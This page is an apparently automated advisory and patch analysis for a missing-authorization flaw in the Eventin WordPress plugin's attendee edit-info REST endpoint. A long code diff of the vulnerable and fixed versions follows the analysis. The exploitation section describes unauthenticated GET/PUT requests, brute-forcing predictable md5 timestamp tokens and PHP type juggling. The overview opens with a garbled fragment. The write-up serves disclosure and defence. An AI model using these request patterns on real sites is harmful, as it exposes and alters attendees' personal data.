Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66451: Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce <= 4.1.9 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.1.9
Patched Version 4.1.10
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66451: The Eventin plugin ( ‘__return_true’`, effectively bypassing all token validation at the permission layer. CVSS score 5.3 (Medium) reflects the need for a valid attendee ID and token, but the token generation and verification logic had flaws that made exploitation feasible.

Root Cause: In `AttendeeController.php`, the `register_routes()` method (around lines 132-144 in the vulnerable version) sets `permission_callback` to `__return_true` for the GET and PUT endpoints of the `edit-info` route. The actual token validation was performed inside the callbacks `get_edit_info()` and `update_edit_info()`, but these callbacks only checked the token if it was provided. The token itself was generated using `md5( time() . ‘etn-attendee-info’ )` in multiple places (lines 373, 395, 1068 in the diff), making it predictable and not cryptographically secure. Additionally, the verification function `verify_attendee_edit_token()` in `TicketTemplate.php` used a loose comparison `==` and did not check for empty stored token, enabling type juggling attacks and bypass when the stored token was empty. This combination allowed an attacker to bypass authorization by either predicting the token or exploiting the loose comparison.

Exploitation: An unauthenticated attacker can send a GET request to `/wp-json/eventin/v1/attendee/edit-info?id=&etn_info_edit_token=` to retrieve attendee details, or a PUT request with JSON body `{“etn_info_edit_token”:””,”etn_name”:”…”}` to modify attendee data. The attacker needs to know or guess the attendee ID and provide a token. Due to the weak token generation, an attacker can brute-force the token by calculating `md5( timestamp . ‘etn-attendee-info’ )` for a range of timestamps around the attendee creation time. Alternatively, if the stored token is empty (e.g., for imported attendees), the loose comparison `==` with an empty string or `0` (PHP type juggling) may pass. The patch adds a proper permission callback `edit_info_permissions_check()` that validates the token before the callback executes, uses `hash_equals()` for constant-time comparison, and replaces `md5(time()…)` with `generate_secure_token()`.

Patch Analysis: The patch introduces a dedicated permission callback `edit_info_permissions_check()` that extracts the token from either the query parameter (GET) or JSON body (PUT/POST) and verifies it using `Helper::verify_attendee_edit_token()`. This moves authorization to the WordPress REST API permission layer, ensuring it runs before the callback. The token generation is replaced with `Helper::generate_secure_token()`, which likely uses `wp_generate_password()` or `random_bytes()`, making tokens unpredictable. The verification in `TicketTemplate.php` now checks for empty stored token and uses `hash_equals()` to prevent timing attacks and type juggling. Before the patch, an attacker could bypass the check by omitting the token or supplying a predictable one. After the patch, the permission callback returns false for invalid or missing tokens, blocking access.

Impact: Successful exploitation allows unauthenticated attackers to read sensitive attendee information (names, emails, ticket details, etc.) and modify attendee records (e.g., change name, email, ticket status). This can lead to privacy breaches, data tampering, and potential further attacks such as ticket forgery or unauthorized event access. The vulnerability does not directly lead to privilege escalation or remote code execution, but the data exposure and integrity loss are significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-event-solution/build/js/dashboard.asset.php
+++ b/wp-event-solution/build/js/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '23ba72a2d0b5dd395a86');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '9290e90962b2e4e3bd33');
--- a/wp-event-solution/build/js/gutenberg-blocks.asset.php
+++ b/wp-event-solution/build/js/gutenberg-blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => '67ba0ac6a53e0abfd677');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => 'fabac7b2e931a6e0f68a');
--- a/wp-event-solution/build/js/index-onboard.asset.php
+++ b/wp-event-solution/build/js/index-onboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '9e2d53c3c2580820510b');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '97b7baef2291f3be7f9e');
--- a/wp-event-solution/build/js/module-purchase.asset.php
+++ b/wp-event-solution/build/js/module-purchase.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'c904dd14e9535705e6eb');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '67fc45ed704be71b2abe');
--- a/wp-event-solution/build/js/packages.asset.php
+++ b/wp-event-solution/build/js/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'fcfa4e541e917a165434');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '322909d2eb635b531b65');
--- a/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
+++ b/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'fc313dbebe121f23b0fa');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '634e93dccf03a5d243d1');
--- a/wp-event-solution/core/Attendee/Api/AttendeeController.php
+++ b/wp-event-solution/core/Attendee/Api/AttendeeController.php
@@ -132,17 +132,42 @@
             [
                 'methods'             => WP_REST_Server::READABLE,
                 'callback'            => [ $this, 'get_edit_info' ],
-                'permission_callback' => '__return_true',
+                'permission_callback' => [ $this, 'edit_info_permissions_check' ],
             ],
             [
                 'methods'             => WP_REST_Server::EDITABLE,
                 'callback'            => [ $this, 'update_edit_info' ],
-                'permission_callback' => '__return_true',
+                'permission_callback' => [ $this, 'edit_info_permissions_check' ],
             ],
         ] );
     }

     /**
+     * Permission check for the edit-info GET and PUT routes.
+     *
+     * Extracts the token from the query param (GET) or JSON body (PUT/POST)
+     * and validates it against the stored attendee token. WordPress calls this
+     * before the main callback, so auth logic lives in one place.
+     *
+     * @param WP_REST_Request $request
+     * @return true|WP_Error
+     */
+    public function edit_info_permissions_check( $request ) {
+        $id = intval( $request['id'] );
+
+        $body  = $request->get_json_params() ?? [];
+        $token = sanitize_text_field(
+            $request->get_param( 'etn_info_edit_token' ) ?? ( $body['etn_info_edit_token'] ?? '' )
+        );
+
+        if ( ! $id || ! $token || ! EtnUtilsHelper::verify_attendee_edit_token( $id, $token ) ) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /**
      * Get a collection of items.
      *
      * @param WP_REST_Request $request Full data about the request.
@@ -373,7 +398,7 @@
         }


-        $prepared_item['etn_info_edit_token'] = md5( time() . 'etn-attendee-info' );
+        $prepared_item['etn_info_edit_token'] = EtnUtilsHelper::generate_secure_token();
         $prepared_item['etn_unique_ticket_id'] = TicketIdGenerator::generate_ticket_id();

         $event  = new Event_Model( $prepared_item['etn_event_id'] );
@@ -386,6 +411,18 @@
             );
         }

+        // Validate global stock before creating order.
+        $order_tickets = [
+            [
+                'ticket_slug'     => $prepared_item['ticket_slug'] ?? '',
+                'ticket_quantity' => 1,
+            ]
+        ];
+        $stock_validation = etn_validate_event_tickets( $prepared_item['etn_event_id'], $order_tickets );
+        if ( is_wp_error( $stock_validation ) ) {
+            return $stock_validation;
+        }
+
         // Create customer.
         $customer = new CustomerModel();
         $customer->create( $this->prepare_customer_data( $request ) );
@@ -395,7 +432,7 @@
         $order->create( $this->prepare_order_data( $request, $customer->id ) );
         $prepared_item['eventin_order_id'] = $order->id;

-        $prepared_item['etn_info_edit_token'] = md5( time() . 'etn-attendee-info' );
+        $prepared_item['etn_info_edit_token'] = EtnUtilsHelper::generate_secure_token();

         // Create attendee.
         $attendee = new Attendee_Model();
@@ -1068,16 +1105,7 @@
      * @return WP_REST_Response|WP_Error
      */
     public function get_edit_info( $request ) {
-        $id    = intval( $request['id'] );
-        $token = sanitize_text_field( $request->get_param( 'etn_info_edit_token' ) );
-
-        if ( ! $id || ! $token || ! EtnUtilsHelper::verify_attendee_edit_token( $id, $token ) ) {
-            return new WP_Error(
-                'invalid_token',
-                __( 'Invalid or expired edit token.', 'eventin' ),
-                [ 'status' => 403 ]
-            );
-        }
+        $id = intval( $request['id'] );

         $attendee = new Attendee_Model( $id );
         $data     = $this->prepare_item_for_response( $attendee, $request );
@@ -1099,16 +1127,6 @@
         $id   = intval( $request['id'] );
         $body = $request->get_json_params();

-        $token = sanitize_text_field( $body['etn_info_edit_token'] ?? '' );
-
-        if ( ! $id || ! $token || ! EtnUtilsHelper::verify_attendee_edit_token( $id, $token ) ) {
-            return new WP_Error(
-                'invalid_token',
-                __( 'Invalid or expired edit token.', 'eventin' ),
-                [ 'status' => 403 ]
-            );
-        }
-
         // Whitelist: only allow safe attendee fields to be updated.
         if ( ! empty( $body['etn_name'] ) ) {
             update_post_meta( $id, 'etn_name', sanitize_text_field( $body['etn_name'] ) );
--- a/wp-event-solution/core/Attendee/AttendeeExporter.php
+++ b/wp-event-solution/core/Attendee/AttendeeExporter.php
@@ -93,6 +93,30 @@
     }

     /**
+     * Convert a field label to a slug matching the frontend JS key convention.
+     *
+     * JS in extra-form-fields.jsx uses:
+     *   .replace(/[^ws]/g, '').replace(/s+/g, '_').replace(/_+/g, '_').replace(/^_|_$/g, '')
+     *
+     * JS w is ASCII-only ([a-zA-Z0-9_]), so non-ASCII letters (e.g. Polish ę, ó) are
+     * treated as special chars and stripped — not kept. This must be replicated exactly.
+     *
+     * @param   string  $label
+     * @return  string
+     */
+    private function label_to_slug( $label ) {
+        $slug = mb_strtolower( trim( $label ) );
+        // Normalize all Unicode whitespace (NBSP u00A0, etc.) to a plain space.
+        // JS s matches u00A0 and turns it into a word separator (_),
+        // but PHP s without the u flag treats those bytes as non-whitespace and strips them,
+        // causing adjacent words to merge (e.g. "si_pod" vs "sipod").
+        $slug = preg_replace( '/p{Z}+/u', ' ', $slug );
+        $slug = preg_replace( '/[^a-z0-9 _]/', '', $slug );  // strip non-ASCII-alnum
+        $slug = preg_replace( '/[ _]+/', '_', $slug );        // spaces/_ → single _
+        return trim( $slug, '_' );
+    }
+
+    /**
      * Prepare extra field data
      *
      * @param   integer  $attendee_id
@@ -110,13 +134,9 @@

         if ( $extra_fields ) {
             foreach ( $extra_fields as $index=>$value ) {
-                // Build slug matching the frontend key convention:
-                // trim → lowercase → strip non-word/non-space → replace spaces with _.
-                // rtrim removes a trailing _ that PHP regex leaves for labels ending in
-                // special chars (e.g. "before?" → "before_" → rtrim → "before").
                 $field_id          = ! empty( $value['id'] ) ? $value['id'] : ( $index + 1 );
-                $slug              = rtrim( Etn_ProUtilsHelper::get_name_structure_from_label( $value['label'] ), '_' );
-                $key               = 'etn_attendee_extra_field_' . $slug . '_' . $field_id;
+                $slug              = $this->label_to_slug( $value['label'] );
+                $key               = substr( 'etn_attendee_extra_field_' . $slug . '_' . $field_id, 0, 255 );
                 $this->extra_fields[$key] = $value['label'];
                 $extra_field_value = get_post_meta( $attendee_id, $key, true );
                 // Backward-compat: legacy entries stored without the _{id} suffix.
--- a/wp-event-solution/core/Attendee/AttendeeImporter.php
+++ b/wp-event-solution/core/Attendee/AttendeeImporter.php
@@ -69,7 +69,7 @@
                 'etn_attendeee_ticket_status' => ! empty( $row['ticket_status'] ) ? $row['ticket_status'] : '',
                 'etn_ticket_price'            => ! empty( $row['ticket_price'] ) ? $row['ticket_price'] : '',
                 'etn_status'                  => ! empty( $row['payment_status'] ) ? $row['payment_status'] : '',
-                'etn_info_edit_token'         => md5( time() . 'etn-attendee-info' ),
+                'etn_info_edit_token'         => EtnUtilsHelper::generate_secure_token(),
                 'post_status'                 => 'publish',
             ];

--- a/wp-event-solution/core/Attendee/RsvpExporter.php
+++ b/wp-event-solution/core/Attendee/RsvpExporter.php
@@ -141,6 +141,27 @@


     /**
+     * Convert a field label to a slug matching the frontend JS key convention.
+     *
+     * JS w is ASCII-only ([a-zA-Z0-9_]), so non-ASCII letters (e.g. Polish ę) are
+     * stripped — not kept. This must be replicated exactly.
+     *
+     * @param   string  $label
+     * @return  string
+     */
+    private function label_to_slug( $label ) {
+        $slug = mb_strtolower( trim( $label ) );
+        // Normalize all Unicode whitespace (NBSP u00A0, etc.) to a plain space.
+        // JS s matches u00A0 and turns it into a word separator (_),
+        // but PHP s without the u flag treats those bytes as non-whitespace and strips them,
+        // causing adjacent words to merge (e.g. "si_pod" vs "sipod").
+        $slug = preg_replace( '/p{Z}+/u', ' ', $slug );
+        $slug = preg_replace( '/[^a-z0-9 _]/', '', $slug );  // strip non-ASCII-alnum
+        $slug = preg_replace( '/[ _]+/', '_', $slug );        // spaces/_ → single _
+        return trim( $slug, '_' );
+    }
+
+    /**
      * Prepare extra field data
      *
      * @param   integer  $attendee_id
@@ -159,8 +180,8 @@
         if ( $extra_fields ) {
             foreach ( $extra_fields as $index => $value ) {
                 $field_id          = ! empty( $value['id'] ) ? $value['id'] : ( $index + 1 );
-                $slug              = rtrim( Etn_ProUtilsHelper::get_name_structure_from_label( $value['label'] ), '_' );
-                $key               = 'etn_attendee_extra_field_' . $slug . '_' . $field_id;
+                $slug              = $this->label_to_slug( $value['label'] );
+                $key               = substr( 'etn_attendee_extra_field_' . $slug . '_' . $field_id, 0, 255 );
                 $this->extra_fields[$key] = $value['label'];
                 $extra_field_value = get_post_meta( $attendee_id, $key, true );
                 // Backward-compat: legacy entries stored without the _{id} suffix.
--- a/wp-event-solution/core/Attendee/TicketTemplate.php
+++ b/wp-event-solution/core/Attendee/TicketTemplate.php
@@ -206,10 +206,10 @@

 		$stored_edit_token = get_post_meta( $attendee_id, "etn_info_edit_token", true );

-		if ( $stored_edit_token == $check_info_edit_token ) {
-			return true;
+		if ( ! $stored_edit_token ) {
+			return false;
 		}

-		return false;
+		return hash_equals( $stored_edit_token, $check_info_edit_token );
 	}
 }
--- a/wp-event-solution/core/Blocks/BlockTypes/EventDescription.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventDescription.php
@@ -43,17 +43,28 @@
             if ($this->is_editor()) {
                 $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;

-                if ($event_id == 0) {
+                if ($event_id == 0 || get_post_type($event_id) === 'etn-template') {
                     $template = new EventinTemplateTemplateModel(get_the_ID());
                     $event_id = $template->get_preview_event_id();
                 }
             } else if ('etn-template' == get_post_type(get_the_ID())) {
-                $template = new EventinTemplateTemplateModel(get_the_ID());
-                $event_id = $template->get_preview_event_id();
+                // Non-editor rendering inside a ticket/certificate template — output a placeholder
+                // so TemplateModel::get_rendable_content() can replace it with real attendee event data.
+                return '{{event_description}}';
             } else {
                 $event_id = get_the_ID();
             }

+            // Guard: no valid event resolved — show placeholder in editor, nothing on frontend.
+            if ( empty( $event_id ) || 'etn' !== get_post_type( $event_id ) ) {
+                if ( $this->is_editor() ) {
+                    return '<div style="padding:16px;border:1px dashed #ccc;color:#888;">'
+                        . esc_html__( 'Event Description: no preview event found.', 'eventin' )
+                        . '</div>';
+                }
+                return '';
+            }
+
             $event = new Event_Model($event_id);

             ob_start();
--- a/wp-event-solution/core/Extensions/Extension.php
+++ b/wp-event-solution/core/Extensions/Extension.php
@@ -744,6 +744,22 @@
             'notice'        => __('NB: Need to activate FluentCart plugin', 'eventin'),
             'badge_tags'    => ['Free', 'New'],
         ];
+        $extensions['migration-tool-for-eventin'] = [
+            'name'          => 'migration-tool-for-eventin',
+            'slug'          => 'migration-tool-for-eventin',
+            'type'          => 'addon',
+            'status'        => 'off',
+            'is_pro'        => false,
+            'title'         => __( 'Migration Tool for Eventin', 'eventin' ),
+            'description'   => __( 'Import events from external platforms into Eventin.', 'eventin' ),
+            'icon'          => ExtensionIcon::get( 'migration-tool-for-eventin' ),
+            'notice'        => '',
+            'demo_link'     => '',
+            'settings_link' => admin_url( 'admin.php?page=eventin#/settings/import/eventbrite' ),
+            'doc_link'      => '',
+            'badge_tags'    => [ 'Free', 'New' ],
+        ];
+
         $extensions['aisentic'] = [
             'name'          => 'aisentic',
             'slug'          => 'aisentic',
--- a/wp-event-solution/core/Extensions/PluginManager.php
+++ b/wp-event-solution/core/Extensions/PluginManager.php
@@ -67,7 +67,9 @@
         $skin      = new Automatic_Upgrader_Skin();
         $upgrader  = new Plugin_Upgrader($skin);

-        if($slug === 'eventin-addon-for-fluentcart') {
+        if ( $slug === 'migration-tool-for-eventin' ) {
+            $result = $upgrader->install( 'https://github.com/themewinter/migration-tool-for-eventin-public/releases/download/v1.0.0/migration-tool-for-eventin.zip' );
+        } elseif($slug === 'eventin-addon-for-fluentcart') {
             $result    = $upgrader->install('https://downloads.wordpress.org/plugin/eventin-addon-for-fluentcart.latest-stable.zip');
         } elseif($slug === 'aisentic') {
             $result    = $upgrader->install('https://github.com/themewinter/aisentic-public/releases/download/v1.0.0/aisentic-1.0.0.zip');
--- a/wp-event-solution/core/Order/OrderController.php
+++ b/wp-event-solution/core/Order/OrderController.php
@@ -891,6 +891,18 @@
         }


+        // Validate ticket quantities: each must be a positive integer.
+        foreach ( $input_data['tickets'] as $ticket ) {
+            $qty = intval( $ticket['ticket_quantity'] ?? 0 );
+            if ( $qty < 1 ) {
+                return new WP_Error(
+                    'invalid_ticket_quantity',
+                    __( 'Ticket quantity must be at least 1.', 'eventin' ),
+                    [ 'status' => 400 ]
+                );
+            }
+        }
+
         $ticket_validation = etn_validate_event_tickets( $input_data['event_id'], $input_data['tickets'],true );

         if ( is_wp_error( $ticket_validation ) ) {
@@ -1009,7 +1021,7 @@
                     'ticket_name'          => $ticket['etn_ticket_name'],
                     'ticket_slug'          => $ticket_slug,
                     'etn_ticket_price'     => $ticket['etn_ticket_price'],
-                    'etn_info_edit_token'  => md5( $ticket['etn_ticket_name'] ),
+                    'etn_info_edit_token'  => EtnUtilsHelper::generate_secure_token(),
                     'etn_unique_ticket_id' => substr(md5($ticket['etn_ticket_price']), 0, 10),
                     'eventin_order_id'     => $order_id,
                     'post_status'          => 'publish',
@@ -1066,7 +1078,7 @@
                     $temporary_status = 'pending';
                 }
                 $attendee['etn_status'] = $temporary_status;
-                $attendee['etn_info_edit_token'] = md5(time() . 'etn-attendee-info');
+                $attendee['etn_info_edit_token'] = EtnUtilsHelper::generate_secure_token();

                 $attendee['etn_attendeee_ticket_status'] = 'unused';
                 $attendee['etn_unique_ticket_id']        =  TicketIdGenerator::generate_ticket_id();
--- a/wp-event-solution/core/Template/TemplateModel.php
+++ b/wp-event-solution/core/Template/TemplateModel.php
@@ -161,6 +161,7 @@

         $placeholders = [
             '{{event_title}}'         => esc_html( $event->get_title() ),
+            '{{event_description}}'   => wp_kses_post( $event->get_description() ),
             '{{event_location}}'      => esc_html( $event->get_address() ),
             '{{event_start_date}}'    => esc_html( $start_date ),
             '{{event_end_date}}'      => esc_html( $end_date ),
@@ -220,13 +221,14 @@
 		$end_time   = wp_date( $time_format, $end_dt->getTimestamp() );

         return [
-            '{{event_title}}'       => esc_html( $event->get_title() ),
-            '{{event_location}}'    => esc_html( $event->get_address() ),
-            '{{event_start_date}}'  => esc_html( $start_date ),
-            '{{event_end_date}}'    => esc_html( $end_date ),
-            '{{event_start_time}}'  => esc_html( $start_time ),
-            '{{event_end_time}}'    => esc_html( $end_time ),
-            '{{event_timezone}}'    => esc_html( $event->event_timezone ),
+            '{{event_title}}'         => esc_html( $event->get_title() ),
+            '{{event_description}}'   => wp_kses_post( $event->get_description() ),
+            '{{event_location}}'      => esc_html( $event->get_address() ),
+            '{{event_start_date}}'    => esc_html( $start_date ),
+            '{{event_end_date}}'      => esc_html( $end_date ),
+            '{{event_start_time}}'    => esc_html( $start_time ),
+            '{{event_end_time}}'      => esc_html( $end_time ),
+            '{{event_timezone}}'      => esc_html( $event->event_timezone ),
         ];
     }

@@ -236,10 +238,26 @@
      * @return  string
      */
     public function get_html_content() {
+        global $post;
+        $original_post = $post;
+
+        $template_post = get_post( $this->id );
+        if ( $template_post ) {
+            $post = $template_post; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- intentionally set so dynamic blocks detect etn-template context during do_blocks().
+            setup_postdata( $post );
+        }
+
         $content = $this->add_proxy_image( $this->get_content() );
         $content = do_blocks( $content ); // Process Gutenberg blocks
         $content = do_shortcode( $content ); // Process shortcodes

+        $post = $original_post; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
+        if ( $original_post ) {
+            setup_postdata( $original_post );
+        } else {
+            wp_reset_postdata();
+        }
+
         return $content;
     }

@@ -268,17 +286,21 @@
      */
     public function get_preview_event_id() {
         $event_id = $this->preview_event_id;
-        if ( ! isset( $event_id ) ) {
+        if ( empty( $event_id ) ) {
             $event_id = $this->get_available_event_id();
         }
-
+
+        if ( empty( $event_id ) ) {
+            return 0;
+        }
+
         $post = get_post( $event_id );
-
+
         if ( $post && 'etn' === $post->post_type ) {
             return $post->ID;
         }
-
-        return '';
+
+        return 0;
     }
     /**
      * Retrieves the first availble ( event with status publish) events id
@@ -438,8 +460,9 @@
 		$time_format = get_option( 'time_format' );

         return [
-            '{{event_title}}'       => 'Event Title',
-            '{{event_location}}'    => 'Springfield, IL 62701, United States',
+            '{{event_title}}'         => 'Event Title',
+            '{{event_description}}'   => 'This is a sample event description.',
+            '{{event_location}}'      => 'Springfield, IL 62701, United States',
             '{{event_start_date}}'  => gmdate( $date_format ),
             '{{event_end_date}}'    => gmdate( $date_format ),
             '{{event_start_time}}'  => gmdate( $time_format ),
--- a/wp-event-solution/core/event/Api/EventController.php
+++ b/wp-event-solution/core/event/Api/EventController.php
@@ -1112,6 +1112,9 @@
             'zoom_id'                 => get_post_meta( $id, 'etn_zoom_id', true ),
             'total_ticket'            => $event->get_total_ticket(),
             'sold_tickets'            => $event->get_total_sold_ticket(),
+            'total_sold_tickets'      => $event->get_total_sold_ticket(),
+            'etn_enable_global_stock' => rest_sanitize_boolean( get_post_meta( $id, 'etn_enable_global_stock', true ) ),
+            'etn_global_stock'        => intval( get_post_meta( $id, 'etn_global_stock', true ) ),
             'ticket_variations'       => $ticket_variations,
             'event_socials'           => $event_socials,
             'google_meet'             => get_post_meta( $id, 'etn_google_meet', true ),
@@ -1543,6 +1546,14 @@
             $event_data['etn_ticket_variations'] = etn_sanitize_array_input( $input_data['ticket_variations'] );
         }

+        if ( isset( $input_data['etn_enable_global_stock'] ) ) {
+            $event_data['etn_enable_global_stock'] = rest_sanitize_boolean( $input_data['etn_enable_global_stock'] );
+        }
+
+        if ( isset( $input_data['etn_global_stock'] ) ) {
+            $event_data['etn_global_stock'] = max( 0, intval( $input_data['etn_global_stock'] ) );
+        }
+
         if ( isset( $input_data['event_logo'] ) ) {
             $event_data['etn_event_logo'] = $input_data['event_logo'];
         }
--- a/wp-event-solution/core/event/event-model.php
+++ b/wp-event-solution/core/event/event-model.php
@@ -88,7 +88,9 @@
         'enable_legacy_certificate_template' => false,
         '_tax_status'                        => 'taxable',
         'pending_seats'                     => [],
-        'etn_last_update_date'              => ''
+        'etn_last_update_date'              => '',
+        'etn_enable_global_stock'           => false,
+        'etn_global_stock'                  => 0,
     ];

     /**
--- a/wp-event-solution/core/event/template-functions.php
+++ b/wp-event-solution/core/event/template-functions.php
@@ -129,7 +129,7 @@
 		if ( ( ETN_DEMO_SITE === false ) || ( ETN_DEMO_SITE == true && ETN_EVENT_TEMPLATE_TWO_ID != get_the_ID() && ETN_EVENT_TEMPLATE_THREE_ID != get_the_ID() ) ) {
 			$single_event_id = ! empty( $single_event_id ) ? $single_event_id : get_the_ID();
 			$event_options   = get_option( "etn_event_options" );
-			if ( ! isset( $event_options["etn_hide_schedule_from_details"] ) ) {
+			if ( empty( $event_options["etn_hide_schedule_from_details"] ) ) {
 				if ( file_exists( get_stylesheet_directory() . Wpeventin::theme_templates_dir() . 'event/schedule-list.php' ) ) {
 					include_once get_stylesheet_directory() . Wpeventin::theme_templates_dir() . 'event/schedule-list.php';
 				} elseif ( file_exists( get_template_directory() . Wpeventin::theme_templates_dir() . 'event/schedule-list.php' ) ) {
--- a/wp-event-solution/core/schedule/Api/ScheduleController.php
+++ b/wp-event-solution/core/schedule/Api/ScheduleController.php
@@ -456,13 +456,13 @@
             'meta_query'     => [
                 [
                     'key'     => 'etn_event_schedule',
-                    'value'   => '"' . $id . '"',
+                    'value'   => 'i:' . $id . ';',
                     'compare' => 'LIKE',
                 ],
             ],
         ] );

-        $event_name = ! empty( $parent_events ) ? get_the_title( $parent_events[0] ) : '';
+        $event_name = ! empty( $parent_events ) ? get_post_field( 'post_title', $parent_events[0] ) : '';

         $schedule_data = [
             'id'            => $id,
--- a/wp-event-solution/core/speaker/Api/SpeakerCategoryController.php
+++ b/wp-event-solution/core/speaker/Api/SpeakerCategoryController.php
@@ -109,11 +109,24 @@
      * @return WP_Error|WP_REST_Response
      */
     public function get_items( $request ) {
+        $per_page = ! empty( $request['per_page'] ) ? intval( $request['per_page'] ) : -1;
+        $paged    = ! empty( $request['paged'] ) ? intval( $request['paged'] ) : 1;
+        $search   = ! empty( $request['search'] ) ? sanitize_text_field( $request['search'] ) : '';
+
         $prepared_args = array(
             'taxonomy'   => $this->taxonomy,
             'hide_empty' => false,
         );

+        if ( $per_page > 0 ) {
+            $prepared_args['number'] = $per_page;
+            $prepared_args['offset'] = ( $paged - 1 ) * $per_page;
+        }
+
+        if ( ! empty( $search ) ) {
+            $prepared_args['name__like'] = $search;
+        }
+
         if ( ! current_user_can( 'manage_options' ) ) {
             $author_id = get_current_user_id();

@@ -128,13 +141,43 @@

         $query_result = get_terms( $prepared_args );

+        $total_args = array(
+            'taxonomy'   => $this->taxonomy,
+            'hide_empty' => false,
+        );
+
+        if ( ! empty( $search ) ) {
+            $total_args['name__like'] = $search;
+        }
+
+        if ( ! current_user_can( 'manage_options' ) ) {
+            $author_id = get_current_user_id();
+            $total_args['meta_query'] = array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+                array(
+                    'key'     => 'author',
+                    'value'   => $author_id,
+                    'compare' => '='
+                )
+            );
+        }
+
+        $total_terms = get_terms( $total_args );
+        $total_items = is_array( $total_terms ) ? count( $total_terms ) : 0;
+
         $response = array();

         foreach ( $query_result as $term ) {
             $response[] = $this->prepare_item_for_response( $term->term_id, $request );
         }

-        return rest_ensure_response( $response );
+        $data = [
+            'items'       => $response,
+            'total_items' => $total_items,
+            'paged'       => $paged,
+            'per_page'    => $per_page
+        ];
+
+        return rest_ensure_response( $data );
     }

     /**
@@ -362,22 +405,23 @@
      * @param WP_REST_Request $request Request object.
      * @return WP_REST_Response $response
      */
-    public function prepare_item_for_response( $category_id, $request ) {
